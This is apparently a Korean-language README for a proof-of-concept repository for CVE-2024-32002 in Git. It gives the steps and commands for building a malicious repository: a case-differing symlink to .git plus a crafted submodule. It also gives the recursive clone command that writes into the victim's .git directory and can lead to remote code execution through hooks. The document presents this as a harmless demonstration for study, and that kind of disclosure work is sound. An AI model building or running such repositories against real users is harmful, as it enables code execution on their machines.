CVE-2024-32002 PRC AW
CVE-2024-32002의 POC로, .git 디렉토리에 임의 쓰기를 시연합니다.
관련 서브모듈 저장소: cve-2024-32002-submodule-aw
이 저장소에 포함된 내용
- .git 디렉토리를 가리키는 임의의 이름을 가진 심볼릭 링크.
- 악의적인 서브모듈을 정의하는
.gitmodules 파일.
이 저장소를 재현하는 방법
이 저장소는 Linux(WSL2)에서 생성되었습니다. 대소문자를 구분하는 파일 시스템에서만 악의적인 저장소를 생성할 수 있습니다.
- 모든 소문자를 사용하여 심볼릭 링크 생성
ln -s .git submodule
참고:
- 심볼릭 링크는 .git 폴더를 가리켜야 합니다. 파일을 쓰려는 위치이기 때문입니다.
- 심볼릭 링크 이름(submodule)은 임의적이지만 소문자로 시작해야 합니다.
- 소문자는 대문자보다 먼저 정렬되므로 중요합니다. 복제 머신이 서브모듈 파일을 어디에 쓸지 혼란스러울 때, 일반 디렉토리 대신 심볼릭 링크를 선택하도록 하기 위함입니다.
- 서브모듈 디렉토리 이름의 대소문자 차이를 주의하며 악의적인 서브모듈 추가
git submodule add --name aw https://github.com/JakobTheDev/cve-2024-32002-submodule-aw.git Submodule/notexists
참고:
- 서브모듈의 이름은 중요하며, 서브모듈에 훅을 배치할 때 영향을 줍니다.
- 서브모듈 경로의 첫 번째 세그먼트("Submodule")는 위의 심볼릭 링크 이름과 대소문자만 달라야 합니다.
- 경로에는 최소한 하나 이상의 추가 세그먼트가 있어야 합니다. git은 빈 디렉토리에만 서브모듈을 복제하기 때문입니다. 하지만 git이 디렉토리를 자동으로 생성해 주므로, 이를 보여주기 위해 "notexists"를 선택했습니다.
POC 실행 방법
- 취약한 버전의 git을 사용 중인지 확인하세요. 영향을 받는 버전은 GitHub 권고를 참조하십시오.
git --version
- RCE를 달성할 수 있는 명령을 의도적으로 실행할지 신중히 생각하세요. 이 저장소는 무해하지만, 확실합니까?
- 다음 명령을 실행하십시오:
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-aw.git
- .git 디렉토리를 살펴보세요. 이상한 점이 있나요? 힌트: 서브모듈에 어떤 파일이 있는지 확인하세요.